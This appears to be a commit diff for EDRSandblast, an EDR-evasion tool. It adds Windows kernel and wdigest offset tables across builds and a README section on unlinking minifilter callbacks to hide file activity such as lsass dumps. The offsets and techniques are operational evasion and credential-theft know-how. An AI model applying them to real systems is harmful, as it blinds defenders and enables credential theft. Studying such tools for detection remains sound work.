ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0 ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0
ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60 ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60
ntoskrnl_17763-5122.exe,4d8bc0,4d87c0,4d89c0,6ca,409498,20,60,5402d0,5402f8,c8,40cc80
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200 ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260 ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220 ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220
@@ -589,6 +592,7 @@ ntoskrnl_19041-3448.exe,cec460,cec260,cec060,87a,c19858,20,60,cfc410,cfc440,c8,c
ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900 ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900
ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900 ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900
ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0 ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0
ntoskrnl_19041-3693.exe,cec120,cec520,cec320,87a,c19798,20,60,cfc410,cfc440,c8,c1d8e0
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0 ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0 ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0 ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0
@@ -666,3 +670,4 @@ ntoskrnl_22621-2283.exe,d0c440,d0c240,d0c040,87a,c318e0,20,60,d1da18,d1da40,c8,c
ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0 ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0
ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560 ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560
ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500 ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
ntoskrnl_22621-2715.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
1 ntoskrnlVersion PspCreateProcessNotifyRoutine PspCreateThreadNotifyRoutine PspLoadImageNotifyRoutine _EPROCESS _EPROCESS_Protection EtwThreatIntProvRegHandle _ETW_REG_ENTRY _ETW_REG_ENTRY_GuidEntry _ETW_GUID_ENTRY _ETW_GUID_ENTRY_ProviderEnableInfo PsProcessType PsThreadType _OBJECT_TYPE _OBJECT_TYPE_CallbackList SeCiCallbacks
2 ntoskrnl_10240-16384.exe 35d2e0 35d0e0 35cee0 6aa 0 20 50 3c51e8 3c5200 c8 31ee80
3 ntoskrnl_10240-17394.exe 35d420 35d220 35d020 6aa 0 20 50 3c51e8 3c5200 c8 31ef40
4 ntoskrnl_10240-17443.exe 35c420 35c220 35c020 6aa 0 20 50 3c41e8 3c4200 c8 31df40
55 ntoskrnl_10240-20107.exe 3695a0 3693a0 3691a0 6b2 0 20 50 3cf228 3cf248 c8 32b0a0
56 ntoskrnl_10240-20161.exe 369560 369360 369160 6b2 0 20 50 3cf228 3cf248 c8 32b060
57 ntoskrnl_10240-20232.exe 369560 369360 369160 6b2 0 20 50 3cf228 3cf248 c8 32b060
58 ntoskrnl_10240-20307.exe 369560 369360 369160 6b2 0 20 50 3cf228 3cf248 c8 32b060
59 ntoskrnl_10586-0.exe 317180 316f80 316d80 6b2 0 20 50 37f228 37f248 c8 2d8d40
60 ntoskrnl_10586-1176.exe 3161c0 315fc0 315dc0 6b2 0 20 50 37e228 37e248 c8 2d7d00
61 ntoskrnl_10586-1177.exe 3161c0 315fc0 315dc0 6b2 0 20 50 37e228 37e248 c8 2d7d00
155 ntoskrnl_14393-5996.exe 33cf20 33cd20 33cb20 6ca 0 20 50 3a9250 3a9278 c8 300080
156 ntoskrnl_14393-6085.exe 33cea0 33cca0 33caa0 6ca 0 20 50 3a9250 3a9278 c8 300020
157 ntoskrnl_14393-6167.exe 33ce60 33cc60 33ca60 6ca 0 20 50 3a9250 3a9278 c8 300020
158 ntoskrnl_14393-6451.exe 33cea0 33cca0 33caa0 6ca 0 20 50 3a9250 3a9278 c8 300040
159 ntoskrnl_15063-0.exe 382290 382090 381e90 6ca 341ea8 20 50 3e1f98 3e1fb0 c8 345be0
160 ntoskrnl_15063-13.exe 382290 382090 381e90 6ca 341ea8 20 50 3e1f98 3e1fb0 c8 345be0
161 ntoskrnl_15063-296.exe 382290 382090 381e90 6ca 341ea8 20 50 3e1f98 3e1fb0 c8 345be0
435 ntoskrnl_17763-4737.exe 4d8940 4d8b40 4d8740 6ca 409478 20 60 5412d0 5412f8 c8 40cc40
436 ntoskrnl_17763-4851.exe 4d8c00 4d8800 4d8a00 6ca 4094b8 20 60 5412d0 5412f8 c8 40cca0
437 ntoskrnl_17763-4974.exe 4d8b40 4d8740 4d8940 6ca 409478 20 60 5402d0 5402f8 c8 40cc60
438 ntoskrnl_17763-5122.exe 4d8bc0 4d87c0 4d89c0 6ca 409498 20 60 5402d0 5402f8 c8 40cc80
439 ntoskrnl_18362-30.exe 500d60 500960 500b60 6fa 42fa40 20 50 56f390 56f3b8 c8 433200
440 ntoskrnl_18362-116.exe 500de0 5009e0 500be0 6fa 42fa48 20 50 56f390 56f3b8 c8 433260
441 ntoskrnl_18362-145.exe 500de0 5009e0 500be0 6fa 42f9e8 20 50 56f390 56f3b8 c8 433220
592 ntoskrnl_19041-3516.exe cec1a0 cec5a0 cec3a0 87a c197f8 20 60 cfc410 cfc440 c8 c1d900
593 ntoskrnl_19041-3570.exe cec660 cec460 cec260 87a c197d8 20 60 cfc410 cfc440 c8 c1d900
594 ntoskrnl_19041-3636.exe cec5e0 cec3e0 cec1e0 87a c197b8 20 60 cfc410 cfc440 c8 c1d8c0
595 ntoskrnl_19041-3693.exe cec120 cec520 cec320 87a c19798 20 60 cfc410 cfc440 c8 c1d8e0
596 ntoskrnl_22000-194.exe cf5f40 cf5d40 cf6140 87a c15d20 20 60 d06890 d068c0 c8 c1b7c0
597 ntoskrnl_22000-258.exe cf5f40 cf5d40 cf6140 87a c15d20 20 60 d06890 d068c0 c8 c1b7c0
598 ntoskrnl_22000-282.exe cf5f00 cf5d00 cf6100 87a c163d0 20 60 d06890 d068c0 c8 c1b7e0
670 ntoskrnl_22621-2361.exe d0c510 d0c310 d0c110 87a c318e0 20 60 d1da18 d1da40 c8 c374c0
671 ntoskrnl_22621-2428.exe d0c610 d0c410 d0c210 87a c318e0 20 60 d1ea18 d1ea40 c8 c37560
672 ntoskrnl_22621-2506.exe d0c150 d0c550 d0c350 87a c31880 20 60 d1ea18 d1ea40 c8 c37500
673 ntoskrnl_22621-2715.exe d0c150 d0c550 d0c350 87a c31880 20 60 d1ea18 d1ea40 c8 c37500
+8 -1
View File
@@ -1,14 +1,16 @@
imageVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled wdigestVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled
wdigest_10240-16384.dll,35134,0 wdigest_10240-16384.dll,35134,0
wdigest_10240-17184.dll,35144,34ba0 wdigest_10240-17184.dll,35144,34ba0
wdigest_10240-18244.dll,35144,34ba0 wdigest_10240-18244.dll,35144,34ba0
wdigest_10240-18608.dll,35144,34ba0 wdigest_10240-18608.dll,35144,34ba0
wdigest_10240-18638.dll,35144,34ba0 wdigest_10240-18638.dll,35144,34ba0
wdigest_10240-20307.dll,35174,34ba0
wdigest_10586-0.dll,35db0,35ba8 wdigest_10586-0.dll,35db0,35ba8
wdigest_14393-0.dll,35dc0,35ba8 wdigest_14393-0.dll,35dc0,35ba8
wdigest_14393-3024.dll,35dc0,35ba8 wdigest_14393-3024.dll,35dc0,35ba8
wdigest_14393-3750.dll,35dc0,35ba8 wdigest_14393-3750.dll,35dc0,35ba8
wdigest_14393-3808.dll,35dc0,35ba8 wdigest_14393-3808.dll,35dc0,35ba8
wdigest_14393-6451.dll,35de8,35ba8
wdigest_15063-0.dll,34d8c,34b88 wdigest_15063-0.dll,34d8c,34b88
wdigest_15063-1868.dll,34d8c,34b88 wdigest_15063-1868.dll,34d8c,34b88
wdigest_15063-2409.dll,34d8c,34b88 wdigest_15063-2409.dll,34d8c,34b88
@@ -38,6 +40,7 @@ wdigest_17763-3887.dll,38234,37c08
wdigest_17763-4011.dll,38234,37c08 wdigest_17763-4011.dll,38234,37c08
wdigest_17763-4131.dll,38234,37c08 wdigest_17763-4131.dll,38234,37c08
wdigest_17763-4974.dll,428c4,421b8 wdigest_17763-4974.dll,428c4,421b8
wdigest_17763-5122.dll,428c4,421b8
wdigest_18362-1.dll,35124,34b88 wdigest_18362-1.dll,35124,34b88
wdigest_18362-175.dll,35124,34b88 wdigest_18362-175.dll,35124,34b88
wdigest_18362-900.dll,35124,34b88 wdigest_18362-900.dll,35124,34b88
@@ -56,6 +59,8 @@ wdigest_19041-3505.dll,45a24,452e8
wdigest_19041-3516.dll,45a14,452e8 wdigest_19041-3516.dll,45a14,452e8
wdigest_19041-3570.dll,45a14,452e8 wdigest_19041-3570.dll,45a14,452e8
wdigest_19041-3636.dll,45a14,452e8 wdigest_19041-3636.dll,45a14,452e8
wdigest_19041-3684.dll,45a24,452e8
wdigest_19041-3693.dll,45a24,452e8
wdigest_22000-1.dll,3caa4,3cab0 wdigest_22000-1.dll,3caa4,3cab0
wdigest_22000-434.dll,3caa4,3cab0 wdigest_22000-434.dll,3caa4,3cab0
wdigest_22000-1030.dll,3caa4,3cab0 wdigest_22000-1030.dll,3caa4,3cab0
@@ -75,3 +80,5 @@ wdigest_22621-2070.dll,4b5ac,4b5b8
wdigest_22621-2361.dll,4b59c,4b5a8 wdigest_22621-2361.dll,4b59c,4b5a8
wdigest_22621-2506.dll,4b59c,4b5a8 wdigest_22621-2506.dll,4b59c,4b5a8
wdigest_22621-2700.dll,4b59c,4b5a8 wdigest_22621-2700.dll,4b59c,4b5a8
wdigest_22621-2715.dll,4b5ac,4b5b8
wdigest_22621-2771.dll,4b5ac,4b5b8
1 imageVersion wdigestVersion g_fParameter_UseLogonCredential g_IsCredGuardEnabled
2 wdigest_10240-16384.dll wdigest_10240-16384.dll 35134 0
3 wdigest_10240-17184.dll wdigest_10240-17184.dll 35144 34ba0
4 wdigest_10240-18244.dll wdigest_10240-18244.dll 35144 34ba0
5 wdigest_10240-18608.dll wdigest_10240-18608.dll 35144 34ba0
6 wdigest_10240-18638.dll wdigest_10240-18638.dll 35144 34ba0
7 wdigest_10240-20307.dll 35174 34ba0
8 wdigest_10586-0.dll wdigest_10586-0.dll 35db0 35ba8
9 wdigest_14393-0.dll wdigest_14393-0.dll 35dc0 35ba8
10 wdigest_14393-3024.dll wdigest_14393-3024.dll 35dc0 35ba8
11 wdigest_14393-3750.dll wdigest_14393-3750.dll 35dc0 35ba8
12 wdigest_14393-3808.dll wdigest_14393-3808.dll 35dc0 35ba8
13 wdigest_14393-6451.dll 35de8 35ba8
14 wdigest_15063-0.dll wdigest_15063-0.dll 34d8c 34b88
15 wdigest_15063-1868.dll wdigest_15063-1868.dll 34d8c 34b88
16 wdigest_15063-2409.dll wdigest_15063-2409.dll 34d8c 34b88
40 wdigest_17763-4011.dll wdigest_17763-4011.dll 38234 37c08
41 wdigest_17763-4131.dll wdigest_17763-4131.dll 38234 37c08
42 wdigest_17763-4974.dll wdigest_17763-4974.dll 428c4 421b8
43 wdigest_17763-5122.dll 428c4 421b8
44 wdigest_18362-1.dll wdigest_18362-1.dll 35124 34b88
45 wdigest_18362-175.dll wdigest_18362-175.dll 35124 34b88
46 wdigest_18362-900.dll wdigest_18362-900.dll 35124 34b88
59 wdigest_19041-3516.dll wdigest_19041-3516.dll 45a14 452e8
60 wdigest_19041-3570.dll wdigest_19041-3570.dll 45a14 452e8
61 wdigest_19041-3636.dll wdigest_19041-3636.dll 45a14 452e8
62 wdigest_19041-3684.dll 45a24 452e8
63 wdigest_19041-3693.dll 45a24 452e8
64 wdigest_22000-1.dll wdigest_22000-1.dll 3caa4 3cab0
65 wdigest_22000-434.dll wdigest_22000-434.dll 3caa4 3cab0
66 wdigest_22000-1030.dll wdigest_22000-1030.dll 3caa4 3cab0
80 wdigest_22621-2361.dll wdigest_22621-2361.dll 4b59c 4b5a8
81 wdigest_22621-2506.dll wdigest_22621-2506.dll 4b59c 4b5a8
82 wdigest_22621-2700.dll wdigest_22621-2700.dll 4b59c 4b5a8
83 wdigest_22621-2715.dll 4b5ac 4b5b8
84 wdigest_22621-2771.dll 4b5ac 4b5b8
+37 -1
View File
@@ -160,6 +160,42 @@ However, performing the disabling / re-enabling (and "malicious" action in-betwe
enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic
check is performed just at the wrong moment). check is performed just at the wrong moment).
### EDR bypass through minifilters' callbacks unlinking
The Windows Filter Manager system allows an EDR to load a "minifilter" driver and
register callbacks in order to be notified of I/O operations, such as file opening,
reading, writing, etc.
Here is a quick sum-up of different internal structures used by the filter manager:
- The Filter Manager establishes a "frame" (`_FLTP_FRAME`) as its root structure;
- A "volume" structure (`_FLT_VOLUME`) is instanciated for each "disk" managed by the
Filter Manager (can be partitions, shadow copies, or special ones corresponding to
named pipes or remote file systems);
- To each registered minifilter driver corresponds a "filter" structure (`_FLT_FILTER`),
describing various properties such as its supported operations;
- These minifilters are not all attached to each volume; an "instance" (`_FLT_INSTANCE`)
structure is created to mark each of the
filter<->volume associations;
- Minifilters register callback functions that are to be executed before and/or after
specific operations (file open, write, read, etc.). These callbacks are described in
`_CALLBACK_NODE` structures, and can be accessed by different ways:
- An array of all `_CALLBACK_NODE`s implemented by an instance of a minifilter
can be found in the `_FLT_INSTANCE` structure; the array is indexed by the IRP
"major function" code, a constant representing the operations handled by the
callbacks (`IRP_MJ_CREATE`, `IRP_MJ_READ`, etc.).
- Also, all `_CALLBACK_NODE`s implemented by instances linked to a specific volume
are regrouped in linked lists, stored in the `_FLT_VOLUME.Callbacks.OperationLists`
array indexed by IRP major function codes.
These different structures are browsed by `EDRSandblast` to detect filters that are
associated with EDR-related drivers, and the callback nodes containing monitoring
functions are enumerated. To disable their effect, the nodes are unlinked from their
lists, making them temporarily invisible from the filter manager.
This way, during a specified period, the EDR can be completely unaware of any file
operations. A basic example would be the creation of an lsass memory dump file on disk,
that would not trigger any analysis from the EDR, and thus no detection based on the
file itself.
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider ### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the
@@ -721,7 +757,7 @@ Finally, to detect hooking bypass (abusing a trampoline, using direct syscalls,
## Thanks to contributors ## Thanks to contributors
* [v1k1ngfr](https://github.com/v1k1ngfr): for Driver Signature Enforcement bypass (via `g_CiOptions` patching) and GDRV.sys driver support * [v1k1ngfr](https://github.com/v1k1ngfr): for Driver Signature Enforcement bypass (via `g_CiOptions` patching) and GDRV.sys driver support
* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*) * [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*) and their major contribution on the minifilter bypass feature
## Licence ## Licence